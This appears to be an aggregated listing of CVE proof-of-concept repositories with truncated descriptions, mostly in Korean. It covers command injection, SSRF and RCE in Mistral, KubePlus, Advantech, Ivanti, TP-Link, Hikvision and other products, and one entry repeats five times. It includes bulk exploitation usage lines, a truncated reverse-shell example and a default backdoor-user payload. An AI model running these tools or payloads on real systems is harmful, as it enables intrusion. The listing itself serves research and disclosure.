CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral versions through 23.0.0 , the std.ssh_proxied action is vulnerable to OS Command Injection (CWE-78). The issue occurs because the system passes a caller-supplied proxy_command value directly to paramiko.ProxyCommand() before establishing an SSH connection. An authenticated pr...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 centos8 호환 버전 기반으로 수정됨 https://github.com/berdav/CVE-2021-4034/tree/main/dry-run 사용 방법 pwnkit-dry-run.c에서 system 함수를 수정하여 사용자 정의 실행 명령을 실행합니다 기본값은 r00t 사용자 추가, 비밀번호는 XHSZWCPU6Nvobe make로 컴파일 대상 머신에 업로드하여 실행...

CVE-2023-51073

CVE-2023-51073 - Buffalo LS210D 버전 1.78-0.03의 펌웨어 업데이트 서버 검증 취약점 Christopher J. Pace 및 Ryan Miller Buffalo LS210D는 소규모 기업과 개인을 대상으로 설계 및 판매되는 NASNetwork Attached Storage 서버입니다. LS210D에는 원격으로 펌웨어 업데이트를 다운로드하고 설치하는 기능이 내장되어 있습니다. LS210D는 이 기능 내에서 "중간자 공격AitM"에 취약합니다. 피해자의 업스트림 연결을 제어하는 공격자는 업데이트 서버...

CVE-2025-63579

CVE-2025-63579 Kyocera Command Center RX 프린터의 주소록 기능에 입력된 모든 사용자 이름과 비밀번호에 대한 무단 액세스. 설명 Kyocera 프린터의 무단 사용으로, Kyocera 주소록에 저장된 모든 정보를 내보낼 수 있습니다. 이 취약점을 통해 수신 데이터를 암호화하는 보안 조치를 우회할 수 있으며, 암호화된 데이터를 복호화할 수 있습니다. 비밀번호 및 기타 민감한 정보를 획득할 수 있습니다. 영향을 받는 버전 TASKalfa 2552ci TASKalfa 3252ci TASKalfa 2553...

CVE-2026-29955

KubePlus KubeconfigGenerator 명령 주입 취약점 이 취약점은 KubePlus의 kubeconfiggenerator 구성 요소에 존재하며, HTTP 인터페이스에 접근 권한이 있는 공격자가 chartName 매개변수를 통해 셸 명령을 주입하고, 컨테이너 내에서 루트 권한으로 임의 코드를 실행하며, cluster-admin 권한을 가진 ServiceAccount 토큰을 탈취할 수 있습니다. 권장 CWE 분류: CWE-78 OS 명령 주입. 요약 KubePlus kubeconfiggenerator 구성 요소의...

CVE-2026-29954

KubePlus ResourceComposition ChartURL SSRF + 헤더 주입 이 취약점은 KubePlus의 ResourceComposition 리소스 처리 구성 요소에 존재하며, Provider 권한을 가진 공격자가 악의적인 chartURL 매개변수를 조작하여 SSRF를 통해 내부 서비스를 접근하고, wget 명령어 주입을 통해 임의의 HTTP 요청 헤더를 주입할 수 있습니다. 이를 통해 공격자는 특정 헤더를 요구하는 클라우드 메타데이터 서비스예: GCP는 Metadata-Flavor: Google 헤더 필요에...

exploit-CVE-2026-2670

exploit-CVE-2026-2670 CVE-2026-2670 – Advantech WISE-6610 명령 주입 PoC Advantech WISE-6610 산업용 셀룰러 라우터의 명령 주입 취약점을 입증하는 개념 증명 익스플로잇입니다. 이 취약점은 /cgi-bin/luci/admin/openvpnapply 엔드포인트에 존재하며, 인증된 공격자 가 임의의 시스템 명령을 실행할 수 있게 합니다. 📌 취약점 개요 WISE-6610 웹 인터페이스는 OpenVPN 구성 삭제를 처리할 때 deletefile 매개변수를 제대로 검증하지...

CVE-2026-39866

CVE-2026-39866 — 따옴표 없는 워크플로 디스패치 입력을 통한 명령 주입 GitHub Actions 워크플로 디스패치의 명령 주입을 위한 개념 증명 랩 목적 CVE-2026-39866은 Lawnchair의 GitHub Actions 릴리스 워크플로에서 발생하는 명령 주입 버그입니다. releaseupdate.yml 파일은 사용자 입력을 따옴표 없이 bash에 직접 전달하므로, 공격자가 명령을 주입할 수 있습니다. 이 저장소는 취약한 버전과 패치된 버전을 나란히 실행합니다. 빠른 요약 필드| 값 ---|--- CVE...

CVE-2025-24893

정보 이 PoC는 먼저 SSTI를 테스트하고 작동하는지 확인합니다. 루프로 전환되어 원격으로 명령을 실행할 수 있게 해줍니다. 현재 exec와 shell 명령은 동일하게 동작합니다. 사용법 연결 python3 poc.py 예시 debug를 False기본값로 설정한 경우 python3 poc.py http://127.0.0.1:8080 Targeting http://127.0.0.1:8080 + Target is vulnerable! xwiki-shell help Documented commands type help :...

CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE

Ivanti EPMM 사전 인증 RCE 더미 타깃 Ivanti EPMM 사전 인증 RCE 취약점CVE-2026-1281 / CVE-2026-1340을 교육 및 보안 연구 목적으로 재현하는 방법을 보여주는 간단한 데모 애플리케이션입니다. 취약점 개요 이 취약점은 Bash 산술 확장arithmetic expansion 동작을 악용합니다. 다른 변수에 대한 참조를 포함하는 변수가 산술 컨텍스트에서 사용되고, 해당 참조 변수가 명령 치환command substitution이 포함된 배열 인덱스를 포함할 때 명령이 실행됩니다. 악용 체...

CVE-2021-44521

CVE-2021-44521 CVE-2021-44521의 자동화 PoC 원본 PoC 크레딧: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ 요구 사항 Cassandra-driver pip3 install cassandra-driver 사용법 python3 poc.py 한 번에 여러 명령을 실행할 수 없으며, 아직 파이프|도 사용할 수 없습니다. 따라서 다음과 같이...

CVE-2026-24061

CVE-2026-24061 CVE-2026-24061 일괄 스캔 도구 사용 방법 options: -h, --help show this help message and exit -t, --target TARGET Target IP/CIDR or comma-separated list repeatable -f, --file FILE File with targets IP/CIDR, one per line or comma-separated -p, --port PORT Target ports, default 23. Comma-separat...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 示例 单目标 python3 CVE-2026-21962.py http://target:7001 -c "whoami" 批量 + 默认 whoami python3 CVE-2026-21962.py -f url.txt 批量 + 自定义命令 + 改线程数 python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt 反弹 shell 示例 python3 CVE-2026-21962.py -f targets.txt -c "bash...

CVE-2026-0709

Hikvision 무선 AP – CVE-2026-0709 인증 RCE 도구 이 도구는 Hikvision 무선 액세스 포인트에서 CVE-2026-0709 를 테스트하기 위한 Python 개념 증명PoC으로, 영향을 받는 장치에서 원격 코드 실행으로 이어질 수 있는 인증된 명령 주입 취약점입니다. 본인 소유 또는 명시적으로 테스트 권한을 부여받은 시스템에 대한 보안 테스트 및 연구용으로만 사용하십시오. 설명 CVE-2026-0709는 인증된 취약점입니다. 공격자는 유효한 자격 증명으로 로그인한 후 Hikvision 무선 AP의 취...

LongBow

Archer TP-Link VR1600V 라우터 로컬 원격 명령 실행 익스플로잇 CVE-2023-31756 개요 이 Python 스크립트는 Archer TP-Link VR1600V V1/V2 라우터 내의 로컬 원격 명령 실행 취약점을 시연합니다. 이 익스플로잇을 통해 라우터에서 관리자 수준의 운영 체제 접근 권한을 얻을 수 있습니다. 이 접근 권한을 사용하여 OpenVPN 서버를 다시 활성화하고, 웹 포털에서 제한된 CWMP 및 기타 관리 작업을 비활성화할 수 있습니다. 사전 요구 사항 이 스크립트를 사용하기 전에 다음 사전 ...

CVE-2026-16348

TP-Link Archer BE800 V1 — VPN 키 주입을 통한 인증된 RCE CVE: CVE-2026-16348 CVSS: 8.5 High — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L 필요한 인증: 유효한 관리자 자격 증명 네트워크 위치: 네트워크 관리 인터페이스가 노출된 경우 원격 요약 vpn.lua의 VPN 서버 관리 엔드포인트는 사용자가 제공한 서버 키 필드를 executestring.format"vpncore.sh start %s %s %s...